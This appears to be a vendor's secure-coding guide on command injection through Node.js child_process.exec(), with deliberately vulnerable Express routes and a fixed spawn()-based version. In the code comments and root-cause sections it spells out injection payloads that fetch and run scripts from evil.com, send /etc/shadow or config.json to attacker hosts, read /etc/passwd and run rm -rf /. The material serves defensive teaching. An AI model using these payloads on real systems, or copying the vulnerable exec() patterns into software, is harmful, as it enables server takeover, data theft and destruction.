Command injection via child_process.exec with user input

Critical Risk command-injection
nodejsjavascriptcommand-injectionchild-processexecshellrce

What it is

A critical security vulnerability in Node.js applications where user-controlled input is passed to child_process.exec() or similar functions without proper sanitization. This allows attackers to execute arbitrary system commands on the server, leading to complete system compromise, data theft, or remote code execution. The child_process.exec() function uses the system shell to execute commands, making it particularly dangerous when combined with user input.

const { exec } = require('child_process');
const express = require('express');
const app = express();

app.use(express.json());

// VULNERABLE: Direct user input to exec()
app.post('/ping', (req, res) => {
    const hostname = req.body.hostname;
    
    // DANGEROUS: Uses shell, interprets metacharacters
    exec(`ping -c 1 ${hostname}`, (error, stdout, stderr) => {
        if (error) {
            return res.status(500).json({ error: error.message });
        }
        res.json({ output: stdout });
    });
});

// VULNERABLE: Template literal with user input
app.post('/compress', (req, res) => {
    const filename = req.body.filename;
    const format = req.body.format;
    
    const command = `tar -${format}f ${filename}.tar.${format} ${filename}`;
    
    // DANGEROUS: Shell interprets special characters
    exec(command, (error, stdout, stderr) => {
        if (error) {
            return res.status(500).json({ error: 'Compression failed' });
        }
        res.json({ message: 'File compressed successfully' });
    });
});

// VULNERABLE: File conversion with insufficient validation
app.post('/convert', (req, res) => {
    const inputPath = req.body.inputPath;
    const outputFormat = req.body.outputFormat;
    
    // DANGEROUS: Quotes can be escaped
    const command = `convert "${inputPath}" "output.${outputFormat}"`;
    
    exec(command, (error, stdout, stderr) => {
        res.json({ message: 'Converted' });
    });
});

/*
Attack examples:

1. hostname = "google.com; cat /etc/passwd"
   Results in: ping -c 1 google.com; cat /etc/passwd

2. filename = "test", format = "czf; rm -rf /; echo z"
   Results in command injection

3. inputPath = 'image.jpg"; wget http://evil.com/shell.sh; bash shell.sh; echo "'
   Escapes quotes and injects commands
*/
const { spawn } = require('child_process');
const express = require('express');
const app = express();

app.use(express.json());

// SECURE: Using spawn with argument array
app.post('/ping', async (req, res) => {
    try {
        const hostname = req.body.hostname;
        
        // Validate hostname format
        const hostnamePattern = /^[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,252}$/;
        if (!hostname || !hostnamePattern.test(hostname)) {
            return res.status(400).json({ error: 'Invalid hostname' });
        }
        
        // Use spawn with argument array (no shell)
        const output = await executeSafely('ping', ['-c', '1', hostname]);
        res.json({ output });
        
    } catch (error) {
        res.status(500).json({ error: error.message });
    }
});

// SECURE: Allowlist validation for compress
app.post('/compress', async (req, res) => {
    try {
        const filename = req.body.filename;
        const format = req.body.format;
        
        // Validate format against allowlist
        const allowedFormats = ['gz', 'bz2', 'xz'];
        if (!allowedFormats.includes(format)) {
            return res.status(400).json({ error: 'Invalid format' });
        }
        
        // Validate filename
        const filenamePattern = /^[a-zA-Z0-9_\-\.]+$/;
        if (!filename || !filenamePattern.test(filename)) {
            return res.status(400).json({ error: 'Invalid filename' });
        }
        
        // Use spawn with argument array
        const args = [`-c${format}f`, `${filename}.tar.${format}`, filename];
        await executeSafely('tar', args);
        
        res.json({ message: 'Compressed successfully' });
        
    } catch (error) {
        res.status(500).json({ error: error.message });
    }
});

// Safe command execution helper
function executeSafely(command, args, timeout = 10000) {
    return new Promise((resolve, reject) => {
        const child = spawn(command, args);
        let stdout = '';
        
        child.stdout.on('data', (data) => stdout += data);
        child.on('close', (code) => {
            code === 0 ? resolve(stdout) : reject(new Error('Command failed'));
        });
        
        setTimeout(() => {
            child.kill();
            reject(new Error('Timeout'));
        }, timeout);
    });
}

💡 Why This Fix Works

The vulnerable code uses child_process.exec() which spawns a shell and interprets metacharacters, allowing command injection through semicolons, pipes, backticks, and other shell operators. The secure version replaces exec() with spawn() and passes arguments as an array, preventing shell interpretation. It implements strict allowlist validation for formats and commands, validates all user input with regex patterns, adds timeout protection, and never concatenates user input into command strings, completely eliminating command injection vulnerabilities.

Why it happens

Node.js applications use child_process.exec() to run system commands with user-provided input passed directly as part of the command string: exec('ping ' + userIP) or exec(`convert ${userFile} output.pdf`). The exec() function spawns a shell (/bin/sh on Unix, cmd.exe on Windows) to execute the command, which interprets shell metacharacters. Attackers inject shell operators like semicolons (;), pipes (|), command substitution ($(...) or backticks), or redirection (>, <) to execute arbitrary commands: userIP='8.8.8.8; cat /etc/passwd' or userFile='file.jpg; rm -rf /'.

Root causes

Passing User Input Directly to child_process.exec()

Node.js applications use child_process.exec() to run system commands with user-provided input passed directly as part of the command string: exec('ping ' + userIP) or exec(`convert ${userFile} output.pdf`). The exec() function spawns a shell (/bin/sh on Unix, cmd.exe on Windows) to execute the command, which interprets shell metacharacters. Attackers inject shell operators like semicolons (;), pipes (|), command substitution ($(...) or backticks), or redirection (>, <) to execute arbitrary commands: userIP='8.8.8.8; cat /etc/passwd' or userFile='file.jpg; rm -rf /'.

Template Literals Building Shell Commands

Developers use JavaScript template literals to construct shell commands with embedded user data: exec(`ffmpeg -i ${req.query.video} output.mp4`) or exec(`git clone ${repositoryURL}`). Template literals make string interpolation convenient but provide no protection against command injection. Attackers can inject shell metacharacters through any interpolated variable. Even seemingly safe inputs like filenames or URLs can contain malicious payloads: repositoryURL='https://evil.com/repo.git`curl evil.com/backdoor.sh|bash`' executes remote code during the git command.

Insufficient File Path Validation in Commands

Applications validate that user-provided file paths exist or match expected patterns but fail to prevent command injection through path manipulation: exec('cat ' + sanitizedPath) where sanitizedPath validation only checks file extension or directory prefix. Attackers bypass weak validation using shell features: path='/tmp/file.txt; curl attacker.com/?data=$(cat /etc/shadow)' or path='/legitimate/dir/file.pdf $(malicious command)'. Path validation should never be used as sole protection for exec() - use parameterized execution instead.

String Concatenation for Command Construction

Applications build command strings through string concatenation with user-controlled components: exec('convert -resize ' + dimensions + ' input.jpg output.jpg') or exec('mysqldump -u' + username + ' database'). Each concatenated segment represents an injection point. Developers may validate some parts (like dimensions) but miss others, or use insufficient validation. Attackers exploit any unvalidated or weakly validated segment: dimensions='100x100 -write /tmp/$(whoami).txt' or username='root --password=secret; curl evil.com/exfiltrate?data=$(cat config.json);'.

Using exec() When spawn() Would Be Safer

Developers choose child_process.exec() for convenience (simpler callback-based API, returns buffered output) when child_process.spawn() or execFile() would be more appropriate. exec() invokes a shell to parse the command string, creating injection risks. spawn() and execFile() execute binaries directly without shell interpretation when used with argument arrays. Applications continue using exec() due to: code examples showing exec(), unfamiliarity with spawn()'s streaming API, or legacy code patterns. This architectural choice creates systemic command injection vulnerabilities across the codebase.

Fixes

1

Use child_process.spawn() with Argument Arrays

Replace all child_process.exec() calls with child_process.spawn() and pass command arguments as array elements instead of building command strings. Use spawn('command', [arg1, arg2, arg3]) where arguments are separate array items. spawn() executes the binary directly without invoking a shell, preventing shell metacharacter interpretation. For example, replace exec('ping ' + userIP) with spawn('ping', [userIP]). Handle spawn() output using event listeners: process.stdout.on('data', callback) and process.on('close', callback). This architectural change eliminates entire class of command injection vulnerabilities.

2

Never Mix User Input with Shell Invocation

Completely avoid using child_process.exec() with any user-controllable input - there is no safe way to sanitize user input for shell execution. Audit codebase for all exec() usage and replace with spawn() or execFile(). If you must use exec() for legitimate shell features (piping, redirection), ensure the entire command string is hardcoded with no user input. Use spawn() with shell: true option only when necessary, and pass user input exclusively through the args array parameter: spawn('sh', ['-c', 'hardcoded command'], {shell: true}) - never concatenate user input into the command.

3

Pass All Arguments as Separate Array Elements

Structure all command execution to use argument arrays with one argument per array element: spawn('ffmpeg', ['-i', userInputFile, '-f', 'mp4', 'output.mp4']). Never build argument strings through concatenation or template literals. Each user-controlled value should be its own array element, preventing injection across argument boundaries. For complex commands requiring multiple user inputs, map each to separate array positions. Even with spawn(), avoid shell: true option which re-enables shell interpretation. Array-based argument passing ensures the command binary receives literal argument values, not shell-interpreted strings.

4

Implement Allowlist Validation for Commands and Arguments

Create strict allowlists of permitted commands and argument patterns before any execution. Map user selections to predefined command configurations: const commands = {convert: {bin: 'convert', args: ['-resize', '100x100']}}; const config = commands[userChoice]; spawn(config.bin, [...config.args, userFile]). Validate all user-provided arguments against specific patterns (file paths against absolute path regex, dimensions against \d+x\d+ pattern, etc.). Reject any input containing shell metacharacters (; | & $ ` \ < > ( )) even when using spawn(). Validation provides defense-in-depth alongside safe execution methods.

5

Use execFile() for Direct Binary Execution with Arguments

When spawn()'s streaming API is not suitable, use child_process.execFile() which combines exec()'s buffer-based API with spawn()'s direct execution model. execFile('command', [arg1, arg2], callback) executes the binary directly without shell, returns buffered output, and accepts an argument array. Use execFile() for utilities that produce limited output where buffering is acceptable. Never use the shell: true option with execFile() which negates its security benefits. Configure timeout option to prevent hung processes: execFile('convert', [userInput], {timeout: 5000}, callback).

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection via child_process.exec with user input and many other security issues in your codebase.